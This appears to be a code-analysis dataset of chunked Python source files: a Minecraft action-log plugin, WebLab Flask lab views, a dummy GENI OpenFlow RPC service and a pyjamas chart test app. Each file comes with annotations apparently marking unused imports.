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"\\u\\u\\uNEWLINE\\u\\u\\u_", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "action_", "in_", "actions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "self_", "._", "display", "Entry_", "(_", "player_", ",_", "action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "actions_", ")_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "player_", "._", "message_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "Cou", "ld", " ", "not", " ", "find", " ", "any", " ", "action", "s", " ", "in", " ", "the", " ", "specified", " ", "area", ".\"_", ",_", "\"", "color", "\"_", ":_", "\"", "red", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "player_", "._", "message_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "End", " ", "of", " ", "list", ".\"_", ",_", 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"self_", ",_", "player_", ",_", "action_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "j_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timestamp_", "=_", "datetime_", "._", "datetime_", "._", "fromtimestamp_", "(_", "int_", "(_", "action_", "[_", "1_", "]_", ")_", ")_", "._", "strftime_", "(_", "'%", "Y", "-%", "m", "-%", "d", " ", "%", "H", ":", "%", "M", ":", "%", "S", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uuid_", ",_", "type_", ",_", "payload_", "=_", "action_", "[_", "0_", "]_", ",_", "action_", "[_", "2_", "]_", ",_", "action_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "player", "Name_", "=_", "self_", "._", "minecraft", "_", "._", "look", "up", "UUID_", "(_", "uuid_", ")_", "[_", "\"", "name", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "player", "Name_", "==_", "None_", ":_", "player", "Name_", "==_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "\"[", "%", "s", "]", " ", "\"_", "%_", "timestamp_", ",_", "\"", "color", "\"_", ":_", "\"", "gray", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "player", "Name_", "+_", "\"", " ", "\"_", ",_", "\"", "color", "\"_", ":_", "\"", "dark", "\\u", "aqu", "a", "\"_", ",_", "\"", "hover", "Event", "\"_", ":_", "{_", "\"", "action", "\"_", ":_", "\"", "show", "\\u", "text", "\"_", ",_", "\"", "value", "\"_", ":_", "uuid_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "in_", "(_", "\"", "place", "\\u", "block", "\"_", ",_", "\"", "dig", "\\u", "block", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "type_", "==_", "\"", "place", "\\u", "block", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "place", "d", " ", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "\"", "dig", "\\u", "block", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "\"", "bro", "ke", " ", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "item_", "=_", "json_", "._", "dumps_", "(_", "{_", "\"", "id", "\"_", ":_", "payload_", "[_", "\"", "block", "\"_", "]_", ",_", "\"", "Dam", "age", "\"_", ":_", "0_", ",_", "\"", "Count", "\"_", ":_", "1_", ",_", "\"", "tag", "\"_", ":_", "{_", "}_", "}_", ")_", "._", "replace_", "(_", "'\"'_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "._", "append_", "(_", "{_", "\"", "text", "\"_", ":_", "payload_", "[_", "\"", "block", "\"_", "]_", ",_", "\"", "color", "\"_", ":_", "\"", "dark", "\\u", "red", "\"_", ",_", "\"", "hover", "Event", "\"_", ":_", "{_", "\"", "action", "\"_", ":_", "\"", "show", "\\u", "item", "\"_", ",_", "\"", "value", "\"_", ":_", "item_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "player_", "._", "message_", "(_", "{_", "\"", "text", "\"_", ":_", "\"\"_", ",_", "\"", "extra", "\"_", ":_", "j_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]

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[ { "content": "from __future__ import print_function, unicode_literals\nimport os\nfrom flask import render_template, url_for, request, flash, redirect, session, g\n\nfrom weblab.core.i18n import gettext, get_locale\nfrom weblab.core.exc import SessionNotFoundError\nfrom weblab.core.webclient.view_login import demo\nfrom weblab.core.webclient.helpers import _get_experiment, _get_experiment_data, _hook_native_experiments\nfrom weblab.core.wl import weblab_api\nfrom weblab.core.webclient import login_required\nfrom weblab.core.reservations import Reservation\n\n# TODO: make sure we have a special 500 error handler, which simply calls error but also calls the send_mail function\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/\")\ndef lab(category_name, experiment_name):\n \"\"\"\n Renders a specific laboratory.\n \"\"\"\n federated_reservation_id = session.get('reservation_id')\n federated_mode = federated_reservation_id is not None\n if federated_mode:\n back_url = session.get('back_url')\n else:\n back_url = None\n\n experiment = None\n if federated_mode:\n weblab_api.ctx.reservation_id = federated_reservation_id\n # Now obtain the current experiment\n try:\n experiment = _get_experiment_data(weblab_api.api.get_reservation_experiment_info())\n reservation_status = weblab_api.api.get_reservation_status()\n except SessionNotFoundError:\n session.pop('reservation_id', None)\n session.pop('back_url', None)\n federated_mode = False\n\n # Check if the user has a valid session (it may happen that this comes from an old reservation_id)\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n except SessionNotFoundError:\n return render_template(\"webclient/error.html\", error_message = gettext(\"The reservation you used has expired.\"), federated_mode = True, back_url = back_url)\n else:\n if experiment is not None and reservation_status is not None and experiment['type'] == 'redirect':\n if reservation_status.status == Reservation.CONFIRMED:\n local_url = reservation_status.url\n if local_url is not None:\n return redirect(local_url.replace(\"TIME_REMAINING\", unicode(local_url.time)))\n\n if experiment is None:\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n except SessionNotFoundError:\n flash(gettext(\"You are not logged in\"), 'danger')\n return redirect(url_for('.login', next=request.url))\n\n for exp_allowed in experiment_list:\n if exp_allowed.experiment.name == experiment_name and exp_allowed.experiment.category.name == category_name:\n experiment = _get_experiment(exp_allowed)\n\n if experiment is None:\n # TODO: check what to do in case there is no session_id (e.g., federated mode)\n if weblab_api.db.check_experiment_exists(experiment_name, category_name):\n flash(gettext(\"You don't have permission on this laboratory\"), 'danger')\n else:\n flash(gettext(\"Experiment does not exist\"), 'danger')\n return redirect(url_for('.labs'))\n\n return render_template(\"webclient/lab.html\", experiment=experiment, federated_mode = federated_mode, back_url = back_url, federated_reservation_id = federated_reservation_id)", "metadata": "root.lab", "header": "['module', '___EOS___']", "index": 14 }, { "content": "@weblab_api.route_webclient(\"/demos/labs/<category_name>/<experiment_name>/\")\ndef demo_lab(category_name, experiment_name):\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n except SessionNotFoundError:\n g.next_url = url_for('.lab', category_name = category_name, experiment_name = experiment_name)\n return demo()\n except:\n flash(gettext(\"Error processing request\"), 'danger')\n return redirect(url_for('.labs'))\n else: # User is logged in and has permissions\n return redirect(url_for('.lab', category_name = category_name, experiment_name = experiment_name))", "metadata": "root.demo_lab", "header": "['module', '___EOS___']", "index": 71 }, { "content": "@weblab_api.route_webclient('/demos/')\ndef demos_index():\n return redirect(url_for('.demo'))", "metadata": "root.demos_index", "header": "['module', '___EOS___']", "index": 85 }, { "content": "@weblab_api.route_webclient('/demos/labs/')\ndef demos_index_labs():\n return redirect(url_for('.demo'))", "metadata": "root.demos_index_labs", "header": "['module', '___EOS___']", "index": 89 }, { "content": "@weblab_api.route_webclient('/demos/labs/<category_name>/')\ndef demos_index_labs_category(category_name):\n return redirect(url_for('.demo'))", "metadata": "root.demos_index_labs_category", "header": "['module', '___EOS___']", "index": 93 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/config.json\")\ndef lab_config(category_name, experiment_name):\n experiment_config = {}\n try:\n experiment = weblab_api.db.get_experiment(experiment_name, category_name)\n except Exception as ex:\n pass\n else:\n if experiment is not None:\n _hook_native_experiments(experiment)\n experiment_config = experiment.client.configuration\n\n scripts = [\n url_for('.static', filename='js/iframeResizer.contentWindow.min.js', _external=True)\n ]\n locale = get_locale().language\n return weblab_api.jsonify(locale=locale, targetURL=url_for('json.service_url'), fileUploadURL=url_for('core_web.upload'), scripts=scripts, config=experiment_config, currentURL = weblab_api.core_server_url)", "metadata": "root.lab_config", "header": "['module', '___EOS___']", "index": 98 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/latest_uses.json\")\n@login_required\ndef latest_uses(category_name, experiment_name):\n uses = []\n for use in weblab_api.api.get_latest_uses_per_lab(category_name, experiment_name):\n current_use = {\n 'start_date' : use['start_date'].strftime('%Y-%m-%d %H:%M:%SZ'),\n 'link' : url_for('accesses.detail', id=use['id'])\n }\n if use['country']:\n current_use['location'] = '{0} ({1})'.format(use['country'], use['origin'])\n else:\n current_use['location'] = use['origin']\n\n uses.append(current_use)\n\n return weblab_api.jsonify(uses=uses[::-1])", "metadata": "root.latest_uses", "header": "['module', '___EOS___']", "index": 117 }, { "content": "@weblab_api.route_webclient(\"/labs/<category_name>/<experiment_name>/stats.json\")\n@login_required\ndef lab_stats(category_name, experiment_name):\n experiment_found = False\n try:\n experiment_list = weblab_api.api.list_experiments(experiment_name, category_name)\n\n\n for exp_allowed in experiment_list:\n if exp_allowed.experiment.name == experiment_name and exp_allowed.experiment.category.name == category_name:\n experiment_found = True\n\n except Exception as ex:\n return {}\n\n if not experiment_found:\n return {}\n\n stats = weblab_api.db.get_experiment_stats(experiment_name, category_name)\n stats['status'] = 'online';\n return weblab_api.jsonify(stats=stats)", "metadata": "root.lab_stats", "header": "['module', '___EOS___']", "index": 135 } ]

[ { "span": "import os", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 9 } ]

[]

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[ { "content": "'''\nCreated on Oct 6, 2010\n\n@author: jnaous\n'''\nfrom expedient.common.rpc4django import rpcmethod\nimport xmlrpclib\nimport logging\nfrom geni import CredentialVerifier\nfrom django.conf import settings\nfrom decorator import decorator\nfrom openflow.plugin.gapi import gapi\nfrom expedient.clearinghouse.slice.models import Slice\nfrom expedient_geni.gopenflow.tests.models import DummyOFAggregate\n\nlogger = logging.getLogger(\"openflow.plugin.gapi.rpc\")\n\n# Parameter Types\nCREDENTIALS_TYPE = 'array' # of strings\nOPTIONS_TYPE = 'struct'\nRSPEC_TYPE = 'string'\nVERSION_TYPE = 'struct'\nURN_TYPE = 'string'\nSUCCESS_TYPE = 'boolean'\nSTATUS_TYPE = 'struct'\nTIME_TYPE = 'string'\n\n# SFA permissions mapping\nPRIVS_MAP = dict(\n ListResources=(),\n RenewSliver=('renewsliver',),\n CreateSliver=('createsliver',),\n DeleteSliver=('deleteslice',),\n SliverStatus=('getsliceresources',),\n)\n\n\n \n\n\n\n\n\n \n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def no_such_slice(slice_urn):\n \"Raise a no such slice exception.\"\n fault_code = 'No such slice.'\n fault_string = 'The slice named by %s does not exist' % (slice_urn)\n raise xmlrpclib.Fault(fault_code, fault_string)", "metadata": "root.no_such_slice", "header": "['module', '___EOS___']", "index": 36 }, { "content": "def require_creds(use_slice_urn):\n \"\"\"Decorator to verify credentials\"\"\"\n def require_creds(func, *args, **kw):\n \n logger.debug(\"Checking creds\")\n \n client_cert = kw[\"request\"].META[\"SSL_CLIENT_CERT\"]\n\n if use_slice_urn:\n slice_urn = args[0]\n credentials = args[1]\n else:\n slice_urn = None\n credentials = args[0]\n \n cred_verifier = CredentialVerifier(settings.GCF_X509_TRUSTED_CERT_DIR)\n \n cred_verifier.verify_from_strings(\n client_cert, credentials,\n slice_urn, PRIVS_MAP[func.func_name])\n\n logger.debug(\"Creds pass\")\n \n return func(*args, **kw)\n \n return decorator(require_creds)", "metadata": "root.require_creds", "header": "['module', '___EOS___']", "index": 42 }, { "content": "@rpcmethod(signature=['string', 'string'], url_name=\"dummy_gopenflow\")\ndef ping(str, **kwargs):\n return \"PONG: %s\" % str", "metadata": "root.ping", "header": "['module', '___EOS___']", "index": 69 }, { "content": "@rpcmethod(signature=[VERSION_TYPE], url_name=\"dummy_gopenflow\")\ndef GetVersion(**kwargs):\n logger.debug(\"Called GetVersion\")\n return gapi.GetVersion()", "metadata": "root.GetVersion", "header": "['module', '___EOS___']", "index": 73 }, { "content": "@rpcmethod(signature=[RSPEC_TYPE, CREDENTIALS_TYPE, OPTIONS_TYPE],\n url_name=\"dummy_gopenflow\")\n@require_creds(False)\ndef ListResources(credentials, options, **kwargs):\n logger.debug(\"Called ListResources\")\n return DummyOFAggregate.objects.all()[0].adv_rspec", "metadata": "root.ListResources", "header": "['module', '___EOS___']", "index": 78 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[RSPEC_TYPE, URN_TYPE, CREDENTIALS_TYPE, OPTIONS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef CreateSliver(slice_urn, credentials, rspec, users, **kwargs):\n logger.debug(\"Called CreateSliver for user %s\" % kwargs[\"request\"].user)\n agg = DummyOFAggregate.objects.all()[0]\n agg.resv_rspec = rspec\n agg.save()\n return rspec", "metadata": "root.CreateSliver", "header": "['module', '___EOS___']", "index": 85 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[SUCCESS_TYPE, URN_TYPE, CREDENTIALS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef DeleteSliver(slice_urn, credentials, **kwargs):\n logger.debug(\"Called DeleteSliver\")\n agg = DummyOFAggregate.objects.all()[0]\n agg.resv_rspec = None\n agg.save()\n return True", "metadata": "root.DeleteSliver", "header": "['module', '___EOS___']", "index": 95 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[STATUS_TYPE, URN_TYPE, CREDENTIALS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef SliverStatus(slice_urn, credentials, **kwargs):\n logger.debug(\"Called SliverStatus\")\n return {}", "metadata": "root.SliverStatus", "header": "['module', '___EOS___']", "index": 105 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[SUCCESS_TYPE, URN_TYPE, CREDENTIALS_TYPE, TIME_TYPE],\n url_name=\"dummy_gopenflow\")\ndef RenewSliver(slice_urn, credentials, expiration_time, **kwargs):\n return True", "metadata": "root.RenewSliver", "header": "['module', '___EOS___']", "index": 112 }, { "content": "@require_creds(True)\n@rpcmethod(signature=[SUCCESS_TYPE, URN_TYPE, CREDENTIALS_TYPE],\n url_name=\"dummy_gopenflow\")\ndef Shutdown(slice_urn, credentials, **kwargs):\n return True", "metadata": "root.Shutdown", "header": "['module', '___EOS___']", "index": 118 } ]

[ { "span": "from expedient.clearinghouse.slice.models import Slice", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 54 } ]

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[ { "content": "import pyjd\n\nif __name__ == '__main__':\n # whoops, this has to be done before GChartConsts are imported...\n pyjd.setup(\"./public/GChartTestApp.html\")\n\nfrom pyjamas import DeferredCommand\nfrom pyjamas.ui.HTML import HTML\nfrom pyjamas.ui.RootPanel import RootPanel\nfrom pyjamas.chart import GChart\n\nfrom pyjamas.Canvas.GWTCanvas import GWTCanvas\n\nfrom TestGChart00 import TestGChart00 \nfrom TestGChart01 import TestGChart01 \nfrom TestGChart02 import TestGChart02 \n\nfrom TestGChart05 import TestGChart05 \n\nfrom GChartExample00 import GChartExample00 \nfrom GChartExample00a import GChartExample00a\nfrom GChartExample01 import GChartExample01 \nfrom GChartExample02 import GChartExample02\nfrom GChartExample03 import GChartExample03\nfrom GChartExample04 import GChartExample04\n\nfrom GChartExample06 import GChartExample06\nfrom GChartExample07 import GChartExample07\n\n\nfrom GChartExample14 import GChartExample14\n\nfrom GChartExample17 import GChartExample17\n\nfrom GChartExample20 import GChartExample20\nfrom GChartExample21 import GChartExample21\n\nfrom GChartExample24 import GChartExample24\nfrom GChartExample25 import GChartExample25\n\n\"\"\"*\n*\n* Displays the test chart in the browser, and checks the HTML\n* generated against previous, visually validated, browser\n* output HTML hash codes to see if HTML output from the test\n* has changed (possibly due to an error).\n*\n* As long as GChart and the test set itself has not changed,\n* these tests can be performed by first running in hosted\n* mode, then clicking on the \"Compile/Browse\" button. If\n* \"Test passed\" is displayed in hosted mode and also in\n* Firefox after the compile (this assumes Firefox is your default browser)\n* it means that the generated HTML has not changed since\n* the last time it was visually inspected--test passed.\n*\n* If the test or GChart changes so as to change browser output,\n* you will have to visually verify the charts, and then (assuming the\n* charts are correct) enter the hashcodes.\n*\n* In the most common case where the test and output are unchanged,\n* the test should go through very quickly.\n*\n\"\"\"\n \n\"\"\" Linear congruent random number generator.\n*\n* Cannot use GWT's Math.random() because, for automated\n* testing, we require that the exact same random sequence\n* be used each time (GWT does not support the JDK's more\n* generic Random class, which would have allowed this).\n*\n* Constants are from Knuth via Numerical Recipes in C.\n*\n\"\"\"\ni = 0\n\n\n\"\"\"\n* Allows us to quickly check if test charts changed since last time\n* they were manually inspected, thus eliminating the many tedious\n* re-inspections I used to have to do.\n*\n* Whenever the test changes, or GChart changes in a way that changes\n* generated HTML, manual chart re-inspection is needed and\n* the various hashcodes below need to be re-entered.\n*\n* Note that sometimes the hosted mode cold-start hash code is generated by\n* a refresh, so if you get the same hash code the first time\n* you press refresh, try again to produce the second, refresh, hash code.\n*\n* Note, that if you open the compiled app directly from the file system\n* rather than via the Compile/Browse button, Firefox produces a different\n* HTML/hash code, so you must run the test via the Compile/Browse button.\n*\n\"\"\"\n \nfrom GChartTestAppUtil import getTitle\n\n \n\n\n\n\n\n\n\n \n \n \n \n\nif __name__ == '__main__':\n onModuleLoad()\n pyjd.run()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def rnd():\n m = 217728\n a = 84589\n c = 45989\n i = (a*i + c) % m\n return i/m", "metadata": "root.rnd", "header": "['module', '___EOS___']", "index": 75 }, { "content": "class AddOneChart:\n ", "metadata": "root.AddOneChart", "header": "['module', '___EOS___']", "index": 104 }, { "content": " def __init__(self, gchart, needsUpdate=True):\n #gchart.setOptimizeForMemory(True)\n self.gchart = gchart\n self.needsUpdate = needsUpdate", "metadata": "root.AddOneChart.__init__", "header": "['class', 'AddOneChart', ':', '___EOS___']", "index": 105 }, { "content": " def execute(self):\n RootPanel(\"testappcharts\").add(HTML(getTitle(self.gchart)))\n RootPanel(\"testappcharts\").add(self.gchart)\n if self.needsUpdate:\n self.gchart.update()", "metadata": "root.AddOneChart.execute", "header": "['class', 'AddOneChart', ':', '___EOS___']", "index": 110 }, { "content": "def addChart(gchart):\n DeferredCommand.add(AddOneChart(gchart, True))", "metadata": "root.addChart", "header": "['module', '___EOS___']", "index": 119 }, { "content": "def addChartNoUpdate(gchart):\n DeferredCommand.add(AddOneChart(gchart, False))", "metadata": "root.addChartNoUpdate", "header": "['module', '___EOS___']", "index": 122 }, { "content": "class GWTCanvasBasedCanvasFactory(object):", "metadata": "root.GWTCanvasBasedCanvasFactory", "header": "['module', '___EOS___']", "index": 125 }, { "content": " def create(self):\n return GWTCanvas()", "metadata": "root.GWTCanvasBasedCanvasFactory.create", "header": "['class', 'GWTCanvasBasedCanvasFactory', '(', 'object', ')', ':', '___EOS___']", "index": 126 }, { "content": "def onModuleLoad():\n \n # TODO: port http://code.google.com/p/gwt-canvas\n GChart.setCanvasFactory(GWTCanvasBasedCanvasFactory())\n \n # thinking about retiring these tests:\n # addChart(GChartExample11(0,2,False))\n # addChart(GChartExample11(0,3,False))\n # addChart(GChartExample11(0,4,False))\n # addChart(GChartExample11(0,5,False))\n # addChart(GChartExample11(0,6,False))\n # addChart(GChartExample11(0,7,False))\n # addChart(GChartExample11(0,8,False))\n # addChart(TestGChart40())\n # DeferredCommand.add(Command() { void execute() {\n # RootPanel.get().add(TestGChart41a())\n # }})\n \n # To focus on a single test, simply use Eclipse's Source, Toggle comment\n #addChart(GChartExample00())\n #addChart(GChartExample00a())\n # addChart(GChartExample00b())\n # addChart(GChartExample00c())\n #addChart(GChartExample01())\n # addChart(GChartExample01a(3))\n # addChart(GChartExample01a(0))\n # addChart(GChartExample01b())\n # addChart(GChartExample01c())\n addChart(GChartExample02())\n #addChart(GChartExample03())\n #addChart(GChartExample04())\n # addChart(GChartExample04a())\n # addChart(GChartExample04b())\n # addChart(GChartExample05())\n #addChart(GChartExample06())\n addChart(GChartExample07())\n # addChart(GChartExample08())\n # addChart(GChartExample09())\n # addChart(GChartExample10())\n # addChart(GChartExample11(0,1,True))\n # addChart(GChartExample11(0,1,False))\n # addChart(GChartExample11(1,1,False))\n # addChart(GChartExample11(2,1,False))\n # addChart(GChartExample11(3,1,False))\n # addChart(GChartExample12())\n #addChart(GChartExample14())\n # addChart(GChartExample15())\n # addChart(GChartExample15a())\n # addChart(GChartExample15b())\n # addChart(GChartExample16())\n #addChart(GChartExample17())\n # addChart(GChartExample17a())\n # addChart(GChartExample18())\n # addChart(GChartExample18a())\n # addChart(GChartExample19())\n addChart(GChartExample20())\n # addChart(GChartExample20a())\n addChart(GChartExample21())\n # addChart(GChartExample22())\n # addChart(GChartExample22a())\n # addChart(GChartExample23(False, False))\n # addChart(GChartExample23(False, True))\n # addChart(GChartExample23(True, False))\n # addChart(GChartExample23(True, True))\n addChart(GChartExample24())\n #addChart(GChartExample25())\n #DeferredCommand.add(Command() {\n # def execute(self):\n # RootPanel.get().add(GChartExample25())\n # \n #)\n # addChart(TestGChart00())\n #addChartNoUpdate(TestGChart01(0,0))\n #addChartNoUpdate(TestGChart01(1,0))\n #addChartNoUpdate(TestGChart01(2,0))\n #addChartNoUpdate(TestGChart01(3,0))\n # addChartNoUpdate(TestGChart01(0,1))\n # addChartNoUpdate(TestGChart01(1,1))\n # addChartNoUpdate(TestGChart01(2,1))\n # addChartNoUpdate(TestGChart01(3,1))\n # addChartNoUpdate(TestGChart01(0,2))\n # addChartNoUpdate(TestGChart01(1,2))\n # addChartNoUpdate(TestGChart01(2,2))\n # addChartNoUpdate(TestGChart01(3,2))\n # addChart(TestGChart01a())\n #addChart(TestGChart02())\n # addChart(TestGChart03())\n # addChart(TestGChart04())\n # addChart(TestGChart04a())\n #addChart(TestGChart05(False))\n addChart(TestGChart05(True))\n # addChart(TestGChart06(False))\n # addChart(TestGChart06(True))\n # addChart(TestGChart07(0,0,10,1))\n # addChart(TestGChart07(10,0,10,1))\n # addChart(TestGChart07(-10,0,10,1))\n # addChart(TestGChart07(0,10,10,1))\n # addChart(TestGChart07(0,-10,10,1))\n # addChart(TestGChart07(0,0,30,1))\n # addChart(TestGChart07(0,0,10,3))\n # addChart(TestGChart07(0,0,10,-1))\n # addChart(TestGChart07(0,0,10,-2))\n # addChart(TestGChart07(0,0,10,-3))\n # addChart(TestGChart07a())\n # addChart(TestGChart08())\n # addChart(TestGChart09())\n # addChart(TestGChart10())\n # addChart(TestGChart11())\n # addChart(TestGChart12())\n # addChart(TestGChart14())\n # addChart(TestGChart14a())\n # addChart(TestGChart14b())\n # addChart(TestGChart14c())\n # addChart(TestGChart14d())\n # addChart(TestGChart15(1))\n # addChart(TestGChart15(0))\n # addChart(TestGChart16(0,1))\n # addChart(TestGChart16(1,1))\n # addChart(TestGChart16(2,1))\n # addChart(TestGChart16(3,1))\n # addChart(TestGChart16(4,1))\n # addChart(TestGChart16(5,1))\n # addChart(TestGChart16(0,10))\n # addChart(TestGChart16(1,10))\n # addChart(TestGChart16(2,10))\n # addChart(TestGChart16(3,10))\n # addChart(TestGChart16(4,10))\n # addChart(TestGChart16(5,10))\n # addChart(TestGChart17())\n # addChart(TestGChart17a())\n # addChart(TestGChart17b())\n # addChart(TestGChart18())\n # addChart(TestGChart19(0))\n # addChart(TestGChart19(1))\n # addChart(TestGChart19(2))\n # addChart(TestGChart19(3))\n # addChart(TestGChart20())\n # addChart(TestGChart20a())\n # # extra layer to stop \"this script is taking too long\" browser msg\n # DeferredCommand.add(Command() < void execute() <\n # addChart(TestGChart21())\n # addChart(TestGChart22(False))\n # addChart(TestGChart22(True))\n # addChart(TestGChart23(1))\n # addChart(TestGChart23(2))\n # addChart(TestGChart23(3))\n # addChart(TestGChart24(1))\n # addChart(TestGChart24(2))\n # addChart(TestGChart25(8,1,1,1,20,20))\n # addChart(TestGChart25(8,2,2,1,1,1))\n # addChart(TestGChart25(8,5,5,1,0,0))\n # addChart(TestGChart25(8,1,1,.5,10,10))\n # addChart(TestGChart25(8,2,2,.5,10,10))\n # addChart(TestGChart25(8,4,4,.5,10,10))\n # addChart(TestGChart25(8,8,8,.5,10,10))\n # addChart(TestGChart25(8,1,1,1.5,20,20))\n # addChart(TestGChart25b(8,1,0,1.5,20,20))\n # addChart(TestGChart25b(8,5,5,1,0,0))\n # addChart(TestGChart26())\n # addChart(TestGChart27())\n # addChart(TestGChart28(False, 1, False))\n # addChart(TestGChart28(True, 1, False))\n # addChart(TestGChart28(False, 2, False))\n # addChart(TestGChart28(True, 2, False))\n # addChart(TestGChart28(False, 4, False))\n # addChart(TestGChart28(True, 4, False))\n #\n # addChart(TestGChart28(False, 1, True))\n # addChart(TestGChart28(True, 1, True))\n # addChart(TestGChart28(False, 2, True))\n # addChart(TestGChart28(True, 2, True))\n # addChart(TestGChart28(False, 4, True))\n ## Hover testing charts start here\n # addChart(TestGChart28(True, 4, True))\n # addChart(TestGChart29())\n # addChart(TestGChart30(False, False))\n # addChart(TestGChart30(True, False))\n # addChart(TestGChart30(False, True))\n # addChart(TestGChart30(True, True))\n # addChart(TestGChart31())\n # addChart(TestGChart32())\n ## Not a GCchart, a ScrollPanel that contains a Gchart:\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart33())\n # >>)\n # addChart(TestGChart34())\n # addChart(TestGChart35())\n # addChart( TestGChart36(GChart.TouchedPointUpdateOption.TOUCHED_POINT_CLEARED))\n # addChart(TestGChart36(GChart.TouchedPointUpdateOption.TOUCHED_POINT_LOCKED))\n # addChart(TestGChart36(GChart.TouchedPointUpdateOption.TOUCHED_POINT_UPDATED))\n # addChart(TestGChart37(GChart.TouchedPointUpdateOption.TOUCHED_POINT_CLEARED))\n # addChart(TestGChart37(GChart.TouchedPointUpdateOption.TOUCHED_POINT_LOCKED))\n # addChart(TestGChart37(GChart.TouchedPointUpdateOption.TOUCHED_POINT_UPDATED))\n # addChart(TestGChart38(GChart.TouchedPointUpdateOption.TOUCHED_POINT_CLEARED))\n # addChart(TestGChart38(GChart.TouchedPointUpdateOption.TOUCHED_POINT_LOCKED))\n # addChart(TestGChart38(GChart.TouchedPointUpdateOption.TOUCHED_POINT_UPDATED))\n # addChart(TestGChart39())\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart41())\n # >>)\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart41a())\n # >>)\n # addChart(TestGChart42())\n # addChart(TestGChart43())\n # addChart(TestGChart44())\n # addChart(TestGChart45(0))\n # addChart(TestGChart45(1))\n # \taddChart(TestGChart45(2))\n # addChart(TestGChart45(3))\n # addChart(TestGChart45(4))\n # DeferredCommand.add(Command() < void execute() <\n # RootPanel.get().add(TestGChart46())\n # >>)\n # addChart(TestGChart47(0,1,5))\n # addChart(TestGChart47(1,1,5))\n # addChart(TestGChart47(2,1,5))\n # addChart(TestGChart47(3,1,5))\n # addChart(TestGChart47(4,1,5))\n # addChart(TestGChart47(5,1,5))\n # addChart(TestGChart47(6,1,5))\n # addChart(TestGChart47(7,1,5))\n # addChart(TestGChart47(0,0,2))\n # addChart(TestGChart47(1,0,2))\n # addChart(TestGChart47(2,0,2))\n # addChart(TestGChart47(3,0,2))\n # addChart(TestGChart47(4,0,2))\n # addChart(TestGChart47(5,0,2))\n # addChart(TestGChart47(6,0,2))\n # addChart(TestGChart47(7,0,2))\n # addChart(TestGChart47(0,1,3))\n # addChart(TestGChart47(1,1,3))\n # addChart(TestGChart47(2,1,3))\n # addChart(TestGChart47(3,1,3))\n # addChart(TestGChart47(4,1,3))\n # addChart(TestGChart47(5,1,3))\n # addChart(TestGChart47(6,1,3))\n # addChart(TestGChart47(7,1,3))\n # addChart(TestGChart47(8,3,5))\n # addChart(TestGChart47(9,3,5))\n # addChart(TestGChart48(3))\n # 